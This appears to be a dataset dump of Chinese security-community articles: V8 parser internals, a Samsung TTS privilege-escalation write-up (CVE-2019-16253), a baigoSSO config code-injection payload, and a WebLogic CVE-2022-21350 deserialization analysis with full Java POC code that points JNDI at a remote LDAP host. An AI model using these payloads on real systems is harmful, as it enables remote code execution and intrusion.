text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 《Chrome V8源码》23.编译4：数据结构、重要的自动机
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
本篇是编译链专题的第四篇，梳理V8编译期间涉及到的数据结构和自动机，并解释其作用。
## 2 Parse_Info
1. // A container for the inputs, configuration options, and outputs of parsing.
2. class V8_EXPORT_PRIVATE ParseInfo {
3. public:
4. //省略................
5. AstValueFactory* ast_value_factory() const {
6. DCHECK(ast_value_factory_.get());
7. return ast_value_factory_.get();
8. }
9. const AstRawString* function_name() const { return function_name_; }
10. void set_function_name(const AstRawString* function_name) {
11. function_name_ = function_name;
12. }
13. FunctionLiteral* literal() const { return literal_; }
14. void set_literal(FunctionLiteral* literal) { literal_ = literal; }
15. private:
16. //------------- Inputs to parsing and scope analysis ----------------------- 17. const UnoptimizedCompileFlags flags_;
18. UnoptimizedCompileState* state_;
19. std::unique_ptr<Zone> zone_;
20. v8::Extension* extension_;
21. DeclarationScope* script_scope_;
22. uintptr_t stack_limit_;
23. int parameters_end_pos_;
24. int max_function_literal_id_;
25. //----------- Inputs+Outputs of parsing and scope analysis ----------------- 26. std::unique_ptr<Utf16CharacterStream> character_stream_;
27. std::unique_ptr<ConsumedPreparseData> consumed_preparse_data_;
28. std::unique_ptr<AstValueFactory> ast_value_factory_;
29. const AstRawString* function_name_;
30. RuntimeCallStats* runtime_call_stats_;
31. SourceRangeMap* source_range_map_; // Used when block coverage is enabled.
32. //----------- Output of parsing and scope analysis ------------------------ 33. FunctionLiteral* literal_;
34. bool allow_eval_cache_ : 1;
35. #if V8_ENABLE_WEBASSEMBLY
36. bool contains_asm_module_ : 1;
37. #endif // V8_ENABLE_WEBASSEMBLY
38. LanguageMode language_mode_ : 1;
39. };
把JavaScript源码（v8::internal::source）封装成ParseInfo。上述第5行代码是AST的工厂方法；13行代码是AST成员的获取方法；17行代码（UnoptimizedCompileFlags
flags）作用是优化标记；33行代码存储生成的AST。AST是最重要的成员，在学习这部分源码时只要盯住这个成员就可以了，其它成员和方法可以忽略。
## 3 AST树
1. class FunctionLiteral final : public Expression {
2. public:
3. template <typename IsolateT>//省略很多代码...............
4. MaybeHandle<String> GetName(IsolateT* isolate) const { }
5. const AstConsString* raw_name() const { return raw_name_; }
6. DeclarationScope* scope() const { return scope_; }
7. ZonePtrList<Statement>* body() { return &body_; }
8. bool is_anonymous_expression() const {
9. return syntax_kind() == FunctionSyntaxKind::kAnonymousExpression;
10. }
11. V8_EXPORT_PRIVATE LanguageMode language_mode() const;
12. void add_expected_properties(int number_properties) {}
13. std::unique_ptr<char[]> GetDebugName() const;
14. Handle<String> GetInferredName(Isolate* isolate) { }
15. Handle<String> GetInferredName(LocalIsolate* isolate) const {}
16. const AstConsString* raw_inferred_name() { return raw_inferred_name_; }
17. FunctionSyntaxKind syntax_kind() const {}
18. FunctionKind kind() const;
19. bool IsAnonymousFunctionDefinition() const { }
20. int suspend_count() { return suspend_count_; }
21. int function_literal_id() const { return function_literal_id_; }
22. void set_function_literal_id(int function_literal_id) { }
23. private:
24. const AstConsString* raw_name_;
25. DeclarationScope* scope_;
26. ZonePtrList<Statement> body_;
27. AstConsString* raw_inferred_name_;
28. Handle<String> inferred_name_;
29. ProducedPreparseData* produced_preparse_data_;
30. };
以函数为单位生成的AST树保存在`FunctionLiteral`类的根节点中。通过`ZonePtrList<Statement>
body_`成员（26行代码）可以遍历树中的每个节点。具体遍历方法可参考bytecode生成时的相关操作。通过代码4~15行可以设置函数的语言模式（strict
sloppy）等相关信息。18行代码是函数的类型，定义如下：
1. enum FunctionKind : uint8_t {
2. // BEGIN constructable functions
3. kNormalFunction,kModule,kAsyncModule,kBaseConstructor,kDefaultBaseConstructor,
4. kDefaultDerivedConstructor,
5. kDerivedConstructor,
6. //省略很多..............
7. kLastFunctionKind = kClassStaticInitializerFunction,
8. };
上述代码中的类型和JavaScript语言教材中提到的函数类型并非是一一对应的，这是因为在V8实现中对JavaScript语言的函数类型划分比较详细。
## 4 AST树节点
1. #define DECLARATION_NODE_LIST(V) \
2. V(VariableDeclaration) \
3. V(FunctionDeclaration)
4. #define ITERATION_NODE_LIST(V) \
5. V(DoWhileStatement) \
6. V(WhileStatement) \
7. V(ForStatement) \
8. V(ForInStatement) \
9. V(ForOfStatement)
10. #define BREAKABLE_NODE_LIST(V) \
11. V(Block) \
12. V(SwitchStatement)
13. #define STATEMENT_NODE_LIST(V) \
14. ITERATION_NODE_LIST(V) \
15. BREAKABLE_NODE_LIST(V) \
16. V(ExpressionStatement) \
17. V(EmptyStatement) \
18. V(SloppyBlockFunctionStatement) \
19. V(IfStatement) \
20. V(InitializeClassStaticElementsStatement)//省略很多
21. #define LITERAL_NODE_LIST(V) \
22. V(RegExpLiteral) \
23. V(ObjectLiteral) \
24. V(ArrayLiteral)
25. #define EXPRESSION_NODE_LIST(V) \
26. LITERAL_NODE_LIST(V) \
27. V(Assignment) \
28. V(Await) \
29. V(BinaryOperation) \
30. V(NaryOperation) \
31. V(Call) \
32. V(YieldStar)//省略很多
33. #define FAILURE_NODE_LIST(V) V(FailureExpression)
34. #define AST_NODE_LIST(V) \
35. DECLARATION_NODE_LIST(V) \
36. STATEMENT_NODE_LIST(V) \
37. EXPRESSION_NODE_LIST(V)
AST树节点由宏模板实现，通过34行代码可知节点共分为三个子类型，分别是DECLARATION、STATEMENT和EXPRESSION，在构建语法树节点时EXPRESSION可能会有左、右之分（左EXPRESSION和右EXPRESSION）。
class AstNode: public ZoneObject {
public:
#define DECLARE_TYPE_ENUM(type) k##type,
enum NodeType : uint8_t {
AST_NODE_LIST(DECLARE_TYPE_ENUM) /* , */
FAILURE_NODE_LIST(DECLARE_TYPE_ENUM)
};
#undef DECLARE_TYPE_ENUM
//省略很多..................
}
上述代码中，树节点类型由枚举成员`NodeType`表示，在构建语法的自动机中`NodeType`是判断条件。展开`FAILURE_NODE_LIST`和`AST_NODE_LIST`后可以看到所有类型的树节点。
## 5 Token宏模板
1. #define TOKEN_LIST(T, K) \
2. T(TEMPLATE_SPAN, nullptr, 0) \
3. T(TEMPLATE_TAIL, nullptr, 0) \
4. /* BEGIN Property */ \
5. T(PERIOD, ".", 0) \
6. T(LBRACK, "[", 0) \
7. /* END Property */ \
8. /* END Member */ \
9. T(QUESTION_PERIOD, "?.", 0) \
10. T(LPAREN, "(", 0) \
11. /* END PropertyOrCall */ \
12. T(RPAREN, ")", 0) \
13. T(RBRACK, "]", 0) \
14. T(LBRACE, "{", 0) \
15. T(COLON, ":", 0) \
16. T(ELLIPSIS, "...", 0) \
17. T(CONDITIONAL, "?", 3) \
18. //省略很多..................
上述第5行代码表明Token的类型是`PERIOD`,对应JavaScript源码中的语法符号”.”；10，12行代码表明Token的类型是左右括号；Token的其他类型还有“+，-”等操作，样例代码中已省略，请读者自行分析。以10行代码T(LPAREN,
“(“, 0)为例，第三个参数0是优先级，优先级的具体用法把TOKEN_LIST展开就明白了。
一宏多用是V8的代码风格，在宏定义时尽可能全面定义所有的参数，而使用时可以只用部分参数。例如下面的样例中只使用了`TOKEN_LIST`宏的第一个参数`name`，代码如下：
#define T(name, string, precedence) #name,
const char* const Token::name_[NUM_TOKENS] = {TOKEN_LIST(T, T)};
#undef T
## 6 两个自动机
词法分析和语法分析的核心功能都是由自动机实现的，源码如下：
1. V8_INLINE Token::Value Scanner::ScanSingleToken() {
2. Token::Value token;
3. do {
4. next().location.beg_pos = source_pos();
5. if (V8_LIKELY(static_cast<unsigned>(c0_) <= kMaxAscii)) {
6. token = one_char_tokens[c0_];
7. switch (token) {
8. case Token::LPAREN:
9. case Token::RPAREN:
10. case Token::LBRACE:
11. case Token::RBRACE:
12. case Token::LBRACK:
13. case Token::RBRACK:
14. case Token::COLON:
15. case Token::SEMICOLON:
16. case Token::COMMA:
17. case Token::BIT_NOT:
18. case Token::ILLEGAL:
19. // One character tokens.
20. return Select(token);
21. case Token::CONDITIONAL:
22. // ? ?. ?? ??=
23. Advance();
24. if (c0_ == '.') {
25. Advance();
26. if (!IsDecimalDigit(c0_)) return Token::QUESTION_PERIOD;
27. PushBack('.');
28. } else if (c0_ == '?') {
29. return Select('=', Token::ASSIGN_NULLISH, Token::NULLISH);
30. }
31. return Token::CONDITIONAL;
32. //省略很多
33. case Token::WHITESPACE:
34. token = SkipWhiteSpace();
35. continue;
36. case Token::NUMBER:
37. return ScanNumber(false);
38. case Token::IDENTIFIER:
39. return ScanIdentifierOrKeyword();
40. default:
41. UNREACHABLE();
42. }
43. }
44. if (IsIdentifierStart(c0_) ||
45. (CombineSurrogatePair() && IsIdentifierStart(c0_))) {
46. return ScanIdentifierOrKeyword();
47. }
48. } while (token == Token::WHITESPACE);
49. return token;
50. }
`ScanSingleToken()`扫描一个Token，8~40行代码中每个`case`代表一种Token类型。第6行代码`one_char_tokens`数组的作用是判断字符的Token类型，数组采用宏模板定义，详见第四篇文章。
1. ParserBase<Impl>::ParseStatementListItem() {
2. switch (peek()) {
3. case Token::FUNCTION:
4. return ParseHoistableDeclaration(nullptr, false);
5. case Token::CLASS:
6. Consume(Token::CLASS);
7. return ParseClassDeclaration(nullptr, false);
8. case Token::VAR:
9. case Token::CONST:
10. return ParseVariableStatement(kStatementListItem, nullptr);
11. case Token::LET:
12. if (IsNextLetKeyword()) {
13. return ParseVariableStatement(kStatementListItem, nullptr);
14. }
15. break;
16. case Token::ASYNC:
17. if (PeekAhead() == Token::FUNCTION &&
18. !scanner()->HasLineTerminatorAfterNext()) {
19. Consume(Token::ASYNC);
20. return ParseAsyncFunctionDeclaration(nullptr, false);
21. }
22. break;
23. default:
24. break;
25. }
26. return ParseStatement(nullptr, nullptr, kAllowLabelledFunctionStatement);
27. }
`ParseStatementListItem()`生成AST树节点的自动机，在词法分析和语法分析阶段自动机会被频繁使用。在V8源码中，跟踪上述代码的执行可以看到完整的执行流程。
**要点总结**
**（1）** 上述内容包括了V8编译的主要数据结构，看懂这些就能明白V8的编译原理；
**（2）** 宏模板是V8的编码风格，一宏多用的情况随处可见，简单的宏展开可以用纸笔完成，复杂的宏可以利用编译器输出预处理文件展开。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
**作者： Flanker
公众号：[Flanker论安全](https://mp.weixin.qq.com/s?__biz=MzI3ODI4NDM2MA==&mid=2247483711&idx=1&sn=3635a0ff95834325c1780e0af9d34581&chksm=eb581018dc2f990e1a1633774452891777c7d143c1ce1a58533a413015732feec25bb98ed1ac&mpshare=1&scene=1&srcid=1104EqiniorjYLdrlgiVIhor&sharer_sharetime=1572834933314&sharer_shareid=bafb2678ed1f77a340809d0b35c3d277&key=e16964c072f0d5a7263fb09b2b124c9ba5219b87674100d6d7069cfb98bf78c7d399080aa12d10e93ebe0720e35348f25bd60dd38f319f09bb2ef8a28cf63d5f94fb5e4fb786875f358da09ad6efb4e3&ascene=1&uin=MzM5ODEzOTY3MQ%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=f4E9eroPAnE%2FsCon3%2FgpDYBabRgpFy6Vqy1paT7qjGPs6ju5ZSUpR1BCoOVC8qYo
"只是想学习外语，却被拿了system shell？")**
Text-To-Speech多国语言翻译引擎引擎是Android系统的标配，上溯到Android 1.5
HTC时代就已经存在的卖点。有些小伙伴可能会用来在自己手机上学习外语，看起来比陈秘书长学外语的方式安全多了。
但在各式各样的厂商实现中，总能找到一些奇葩的事情，例如。。。一个看起来无任何权限的普通语言包，就能获得一个system权限持久性后门？(a.k.a
CVE-2019-16253)
# 漏洞概述
概述：SamsungSMT应用是一个具有system权限的，负责对TTS功能进行综合管理的系统进程。该进程存在本地权限提升漏洞（或者feature，或者后门？），导致本地无权限应用可以以此提升至system-uid权限。
SMT应用声明了一个动态的导出receiver `com.samsung.SMT.mgr.LangPackMgr$2`, 在
`SamsungTTSService->onCreate=>LangPackMgr->init` 中启用，其监听的action是
`com.samsung.SMT.ACTION_INSTALL_FINISHED`. 这个receiver接受的broadcast有一个很有意思的参数
`SMT_ENGINE_PATH`, 该参数在经过一些预处理后被 `LangPackMgr.updateEngine`创建的线程所使用.
`com.samsung.SMT.engine.SmtTTS->reloadEngine` 最终调用了 `System->load`,
无论你相信不相信，SMT将传入的path直接在自己的进程里做了加载，反正我是信了。这造成了一个非常典型的权限提升。
值得注意的是，利用该漏洞并不需要恶意的语言包被打开或者进行其他操作。在精心构造特定的参数后，只要安装该看似无害的应用，漏洞即会被触发。这是因为
`SamsungTTSService`注册了一个receiver来监听包安装事件。只要被安装的包名满足特定的条件（最关键的条件是以com.samsung.SMT.lang开头即可，并没有签名之类的其他强校验），结合其他构造参数，该漏洞即会在安装后被立即触发。此外，由于SMT会在每次启动时重新加载所有存储的库，也就意味着该漏洞是一个持续性的，攻击者可以无感知获得一个持久性的system后门。
想象一下如果有攻击者在各大应用市场中发布了一个看似正常的语言包或者伪装成其他形式，不需要任何权限，但事实上含有攻击代码的应用。只要用户下载安装，即会被植入一个持久性提权后门。
# 漏洞分析
相关的漏洞代码如下所示：
package com.samsung.SMT.mgr;
class LangPackMgr$2 extends BroadcastReceiver {
//...
public void onReceive(Context arg10, Intent arg11) {
int v7 = -1;
if(arg11.getAction().equals("com.samsung.SMT.ACTION_INSTALL_FINISHED")) {
//...
int v0_1 = arg11.getIntExtra("SMT_ENGINE_VERSION", v7);
String v2 = arg11.getStringExtra("SMT_ENGINE_PATH");
if(v0_1 > SmtTTS.get().getEngineVersion() && (CString.isValid(v2))) {
if(CFile.isExist(v2)) {
LangPackMgr.getUpdateEngineQueue(this.a).add(new LangPackMgr$UpdateEngineInfo(v0_1, v2));
CLog.i(CLog$eLEVEL.D, "LangPackMgr - Add candidate engine [%d][%s]", new Object[]{Integer.valueOf(v0_1), v2});
}
else {
CLog.e("LangPackMgr - Invalid engine = " + v2);
}
}
//...
LangPackMgr.decreaseTriggerCount(this.a);
if(LangPackMgr.getTriggerPackageCount(this.a) != 0) {
return;
}
if(LangPackMgr.getUpdateEngineQueue(this.a).size() <= 0) {
return;
}
LangPackMgr.doUpdateEngine(this.a);
}
}
}
在经过一些检查后， `doUpdateEngine`就将一个新的 `LangPackMgr.UpdateEngineInfo`加入到
`Queue`中排队处理：
private void updateEngine() {
if(this.mThreadUpdateEngine == null || !this.mThreadUpdateEngine.isAlive()) {
this.mThreadUpdateEngine = new LangPackMgr$EngineUpdateThread(this, null);
this.mThreadUpdateEngine.start();
}
}
LangPackMgr$EngineUpdateThread(LangPackMgrarg1, LangPackMgr$1arg2) {
this(arg1);
}
public void run() {
//...
if(LangPackMgr.getUpdateEngineQueue(this.a).size() <= 0) {
return;
}
try {
v1 = LangPackMgr.getUpdateEngineQueue(this.a).poll();
while(true) {
if(LangPackMgr.getUpdateEngineQueue(this.a).size() <= 0) {
gotolabel_20;
}
v0_1 = LangPackMgr.getUpdateEngineQueue(this.a).poll();
//...
if(v1 != null && ((LangPackMgr$UpdateEngineInfo)v1).VERSION > SmtTTS.get().getEngineVersion()) {
CHelper.get().set_INSTALLED_ENGINE_PATH(((LangPackMgr$UpdateEngineInfo)v1).PATH);
if(SmtTTS.get().reloadEngine()) {
-----
public booleanreloadEngine() {
//...
this.stop();
try {
Stringv0_2 = CHelper.get().INSTALLED_ENGINE_PATH();
if(CString.isValid(v0_2)) {
System.load(v0_2); //<- triggers load
}
else {
gotolabel_70;
}
}
`SmtTTS.reloadEngine`最终调用 `System.load`，参数即由传入的Intent中决定。
当然，为了能成功到达这个路径，在构造POC Intent的时候仍需要考虑如下几点：
* `SMT_ENGINE_VERSION`参数需要比内置的版本高（361811291）
* `mTriggerCount`需要先被增加才能触发漏洞。如同上面介绍的一样， `com.samsung.SMT.SamsungTTSService`注册的receiver会去扫描包名以 `com.samsung.SMT.lang`开头的安装事件，并自增 `mTriggerCount`
但是如何静默发送出恶意Intent呢？注意SMT中以下的代码会在检查通过后，静默启动攻击者所指定的service，攻击者可以在其中触发真正的提权漏洞
package com.samsung.SMT.mgr;
//...
class LangPackMgr$1 extends BroadcastReceiver {
LangPackMgr$1(LangPackMgr arg1) {
this.a = arg1;
super();
}
public void onReceive(Context arg4, Intent arg5) {
String v0 = arg5.getAction();
String v1 = arg5.getData().getSchemeSpecificPart();
if(((v0.equals("android.intent.action.PACKAGE_ADDED")) || (v0.equals("android.intent.action.PACKAGE_CHANGED")) || (v0.equals("android.intent.action.PACKAGE_REMOVED"))) && (v1 != null && (v1.startsWith("com.samsung.SMT.lang")))) {
this.a.syncLanguagePack();
}
}
}
//...
private void triggerLanguagePack() {
if(this.mThreadTriggerLanguagePack == null || !this.mThreadTriggerLanguagePack.isAlive()) {
this.mThreadTriggerLanguagePack = new LangPackMgr$LanguagePackTriggerThread(this, null);
this.mThreadTriggerLanguagePack.start();
}
}
The checking thread reaches here:
package com.samsung.SMT.mgr;
//...
class LangPackMgr$LanguagePackTriggerThread extends Thread {
//...
public void run() {
Object v0_1;
HashMap v3 = new HashMap();
HashMap v4 = new HashMap();
try {
Iterator v5 = LangPackMgr.f(this.langpackmgr).getPackageManager().getInstalledPackages(0x2000).iterator();
while(true) {
//...
if(!((PackageInfo)v0_1).packageName.startsWith("com.samsung.SMT.lang")) {
continue;
}
break;
}
}
catch(Exception v0) {
goto label_53;
}
try {
Intent v1_1 = new Intent(((PackageInfo)v0_1).packageName);
v1_1.setPackage(((PackageInfo)v0_1).packageName);
LangPackMgr.f(this.langpackmgr).startService(v1_1);
LangPackMgr.increaseTriggerCount(this.langpackmgr);
此外，SMT所加载的so对部分导出函数也有一定要求，这些可以通过逆向来实现解决。
# POC总结
虽然最初只是想
但实际上却被提权了。
本文附带的POC视频展现了一个安装后获取system反弹shell的效果，如下。
同时在logcat中会出现如下日志：
? ~ adb logcat | grep -i mercury
16:29:48.816 24289 24317 E mercury-native: somehow I'm in the library yah, my uid is 1000
16:29:48.885 24318 24318 E mercury-native: weasel begin connect
日志中可以看到，我们已经获得了uid=1000，即system的权限
POC代码稍后会放在<https://github.com/flankerhqd/vendor-android-cves> 上。
不过可以放心的是，该漏洞已通过Samsung Mobile Security Rewards Program报告并修复，定级为High
Severity，厂商已经发布了补丁。在对应的应用市场更新Samsung Text-To-Speech应用至修复的版本，并检查之前安装过的SMT语言包。
对于所有的受影响厂商设备，
* Android N,O or older的版本，请升级SMT到3.0.00.101或更高
* Android P的系统版本：请升级SMT至3.0.02.7
该漏洞分配的编号是CVE-2019-16253。
* * * | 社区文章 |
# **0x00 简述**
版本：v3.0.1
下载链接：<https://github.com/baigoStudio/baigoSSO>
后台修改配置属性，可直接写入配置文件getshell
# **0x01 演示**
1、登录后台，修改系统配置项
系统设置-》基本设置-》站点名称，修改为 aaaaa');phpinfo();/*111111111
2、刷新页面，代码已被执行
# **0x02 代码分析**
代码定位到写入配置文件的函数mdl_const
/** 处理常量并生成配置文件
* mdl_const function.
*
* @access public
* @param mixed $str_type
* @return void
*/
function mdl_const($str_type) {
if (!fn_token('chk')) { //令牌
return array(
'rcode' => 'x030206',
);
}
$_str_content = '<?php' . PHP_EOL;
foreach ($this->arr_const[$str_type] as $_key=>$_value) {
if (is_numeric($_value)) {
$_str_content .= 'define(\'' . $_key . '\', ' . $_value . ');' . PHP_EOL;
} else {
$_str_content .= 'define(\'' . $_key . '\', \'' . rtrim(str_ireplace(PHP_EOL, '|', $_value), '/\\') . '\');' . PHP_EOL;
}
}
if ($str_type == 'base') {
$_str_content .= 'define(\'BG_SITE_SSIN\', \'' . fn_rand(6) . '\');' . PHP_EOL;
//$_str_content .= 'define(\'BG_SITE_TPL\', \'default\');' . PHP_EOL;
}
$_str_content = str_ireplace('||', '', $_str_content);
$_num_size = $this->obj_file->file_put(BG_PATH_CONFIG . 'opt_' . $str_type . '.inc.php', $_str_content);
if ($_num_size > 0) {
$_str_rcode = 'y030405';
} else {
$_str_rcode = 'x030405';
}
return array(
'rcode' => $_str_rcode,
);
}
跟进file_put函数，封装file_put_contents直接写入配置文件
function file_put($str_path, $str_content) {
$this->dir_mk($str_path);
$_num_size = file_put_contents($str_path, $str_content);
return $_num_size;
}
根据传入的$str_path，拼接后的配置文件应该是opt_base.inc.php
只要闭合就可以进行代码注入： | 社区文章 |
# 简介
Oracle Fusion Middleware（组件：Core）的 Oracle WebLogic Server
产品中的漏洞。易于利用的漏洞允许未经身份验证的攻击者通过 T3 访问网络来破坏 Oracle WebLogic Server。成功攻击此漏洞可导致对某些
Oracle WebLogic Server 可访问数据的未经授权的更新、插入或删除访问，以及导致 Oracle WebLogic Server
的部分拒绝服务（部分 DOS）的未经授权的能力。
# 漏洞版本
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
# 环境搭建
本次测试环境选择`12.2.1.4.0`和`jdk1.8.0_181`
> jdk版本过高会导致命令执行失败，最好是JDK<1.8.191
地址如下：
<https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html>
然后直接`java -jar fmw_12.2.1.4.0_wls_lite_generic.jar` 即可
环境搭在ubuntu虚拟机里，接下来拷一下weblogic源码，使用`java -jar
wljarbuilder.jar`创建wlfullclient.jar并和cryptoj.jar一起放入本地idea项目中
> 当时调试环境就因为源码不全导致一直出bug
# 漏洞分析
**调用链如下**
javax.management.BadAttributeValueExpException.readObject()
weblogic.servlet.internal.session.SessionData.toString()
weblogic.servlet.internal.session.SessionData.isDebuggingSession()
weblogic.servlet.internal.session.SessionData.getAttribute()
weblogic.servlet.internal.session.SessionData.getAttributeInternal()
weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapObject()
weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapEJBObjects()
weblogic.ejb.container.internal.BusinessHandleImpl.getBusinessObject()
weblogic.ejb20.internal.HomeHandleImpl.getEJBHome()
javax.naming.Context.lookup()
这是一条新的gadget，我从调用链来一步步分析
首先我们来看`javax.management.BadAttributeValueExpException#readObject`，里面会跟进到`toString()`方法中，这个在cc链中经常用到，也就是说我们想进入那个类的`toString()`就给`val`进行赋值，值为该类的对象
接下来进入`weblogic.servlet.internal.session.SessionData#toString`方法，会先进行`isValid()`判断，主要判断HttpSession是否有效，有效的话会进入`this.isDebuggingSession()`里进行判断。因为`SessionData`是抽象类，因此在构造poc时我们可以通过其子类进行构造，可以使用`FileSessionData`类
接下来跟进`this.isDebuggingSession()`，会先进行`registry.isProductionMode()`判断本地注册表，因为本次是远程调试，因此会直接进入到`this.getAttribute("wl_debug_session")`
继续跟进到`this.getAttribute("wl_debug_session")`，会进行`this.check(name)`判断传进来的`name`值是否有效和是否为空，接下来会在`this.getSecurityModuleAttribute(name)`判断值是否为`weblogic.formauth.targeturl`，不等的话返回null，然后进入到`this.getAttributeInternal(name)`
继续跟进到`this.getAttributeInternal(name)`，进行两次空值判断后会进入到`AttributeWrapperUtils.unwrapObject(name,
(AttributeWrapper)`中，其中`this.attributes`是一个Map，也就是说在构造poc时，new一个Map对象，对应的值分别为`this.getAttribute("wl_debug_session")`中的`wl_debug_session`和一个`AttributeWrapper`类型的对象
继续跟进到`weblogic.servlet.internal.session.AttributeWrapperUtils#unwrapObject`中，会先获取传进来的`Object
o`，然后对其进行判断，最后进入`wrapper.isEJBObjectWrapped()`中进行判断，而其是一个boolean类型的变量，因此在构造poc时给其赋值true，进入到`unwrapEJBObjects()`中
继续跟进到`unwrapEJBObjects()`，在该函数内，会对传进来的Object进行判断，而我们需要进入到`getBusinessObject()`，因此在构造poc时，构造一个`BusinessHandle`的实现类，这里先继续往下跟
继续跟进到`weblogic.ejb.container.internal.BusinessHandleImpl#getBusinessObject`中，因为`this.businessObject`和`this.primaryKey`初始变量都为null，则进入到`this.homeHandle.getEJBHome()`。到这里后看上一步需要构造一个`BusinessHandle`的实现类，此时的话就要new一个`BusinessHandleImpl`对象
继续跟进到`weblogic.ejb20.internal.HomeHandleImpl#getEJBHome`中，`ctx.lookup()`到这里就很明了了，JNDI注入点，而`this.jndiNam`和`this.serverURL`我们可控，自此整条链子分析完成
**堆栈如下**
getInstance:41, EnvironmentManager (weblogic.jndi.spi)
getContext:353, Environment (weblogic.jndi)
getContext:322, Environment (weblogic.jndi)
getInitialContext:131, WLInitialContextFactory (weblogic.jndi)
getInitialContext:684, NamingManager (javax.naming.spi)
getDefaultInitCtx:313, InitialContext (javax.naming)
init:244, InitialContext (javax.naming)
<init>:216, InitialContext (javax.naming)
getEJBHome:66, HomeHandleImpl (weblogic.ejb20.internal)
getBusinessObject:160, BusinessHandleImpl (weblogic.ejb.container.internal)
unwrapEJBObjects:149, AttributeWrapperUtils (weblogic.servlet.internal.session)
unwrapObject:122, AttributeWrapperUtils (weblogic.servlet.internal.session)
getAttributeInternal:568, SessionData (weblogic.servlet.internal.session)
getAttribute:547, SessionData (weblogic.servlet.internal.session)
isDebuggingSession:1525, SessionData (weblogic.servlet.internal.session)
toString:1537, SessionData (weblogic.servlet.internal.session)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
# 漏洞复现
**POC如下**
package com.supeream;
import weblogic.ejb.container.internal.BusinessHandleImpl;
import weblogic.ejb20.internal.HomeHandleImpl;
import weblogic.servlet.internal.AttributeWrapper;
import weblogic.servlet.internal.session.FileSessionData;
import weblogic.servlet.internal.session.SessionData;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompoundName;
import javax.naming.Name;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.ConcurrentHashMap;
public class CVE_2022_21350 {
public static void main(String[] args) throws Exception {
// 过this.isValid()
// 构造HomeHandleImpl，sink点
HomeHandleImpl homeHandle = new HomeHandleImpl();
Field serverURLF = homeHandle.getClass().getDeclaredField("serverURL");
serverURLF.setAccessible(true);
serverURLF.set(homeHandle, "t3://127.0.0.1:7001/");
Properties props = new Properties();
Name name = new CompoundName("ldap://192.168.1.177:1389/vntyei", props);
Field jndiNameF = homeHandle.getClass().getDeclaredField("jndiName");
jndiNameF.setAccessible(true);
jndiNameF.set(homeHandle, name);
// homeHandle设置到BusinessHandleImpl
BusinessHandleImpl businessHandle = new BusinessHandleImpl();
Field homeHandleF = businessHandle.getClass().getDeclaredField("homeHandle");
homeHandleF.setAccessible(true);
homeHandleF.set(businessHandle, homeHandle);
AttributeWrapper attributeWrapper = new AttributeWrapper(businessHandle);
attributeWrapper.setEJBObjectWrapped(true);
Map map = new ConcurrentHashMap<String, Object>();
map.put("wl_debug_session", attributeWrapper);
SessionData sessionData = new FileSessionData();
Field attributesF = sessionData.getClass().getSuperclass().getDeclaredField("attributes");
attributesF.setAccessible(true);
attributesF.set(sessionData, map);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, sessionData);
serialize(badAttributeValueExpException);
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.flush();
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
这里使用的是Y4er师傅写的python脚本和框架，链接在下面，在分析复现时Y4er师傅帮了我很多，非常感谢！！！
<https://github.com/Y4er/CVE-2020-2555>
在这里是通过序列化生成一个`test.ser`，然后通过python脚本发送到目标服务器，达到RCE的效果
# 参考链接
1. <https://www.yuque.com/docs/share/efea1bd4-b0a2-4632-b2a3-e2ae4b1482a9?#vSNs7> | 社区文章 |
**本文作者：云鼎实验室
公众号：[云鼎实验室](https://mp.weixin.qq.com/s/XwBHG0xUgGxeBF1YLV46ng "云鼎实验室")**
### 一、前言
近日，腾讯安全云鼎实验室监测到大量主机被入侵并添加了一个名为“vusr_dx$”的隐藏帐号；同时，云鼎实验室还监测到此类帐号被大量创建的同时存在对应帐号异地登录的情况。
Windows 的帐号名称后带着“$”符号时，不会在 net user
命令中显示出帐号信息，是攻击者常用的一种隐藏帐号的方法，一般开发者不会添加这种类型的帐号。
**云鼎实验室对该事件进行跟踪分析，还原了攻击者的入侵手法、入侵后的操作。**
### 二、入侵手法分析
通过对所有被入侵并添加“vusr_dx$”隐藏帐号的主机进行分析统计，发现大多数主机都安装了phpStudy 组件，Web 目录存在 phpinfo 和
